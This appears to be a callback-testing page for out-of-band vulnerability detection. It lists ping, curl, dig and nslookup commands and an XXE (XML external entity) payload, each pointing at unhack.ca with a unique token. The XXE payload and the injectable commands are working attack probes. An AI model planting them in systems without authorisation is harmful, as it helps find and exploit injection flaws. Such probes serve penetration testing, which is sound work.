$ ping -c1 -p 00cc68ae43231130b82a4f2aff111900 unhack.ca
 
$ curl http://unhack.ca/p/cc68ae43231130b82a4f2aff1119
 
$ dig cc68ae43231130b82a4f2aff1119 @unhack.ca
 
$ dig cc68ae43231130b82a4f2aff1119.ns.unhack.ca
 
C:\> nslookup cc68ae43231130b82a4f2aff1119 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cc68ae43231130b82a4f2aff1119">]>
    <foo>&xxe;</foo>
Waiting for ping...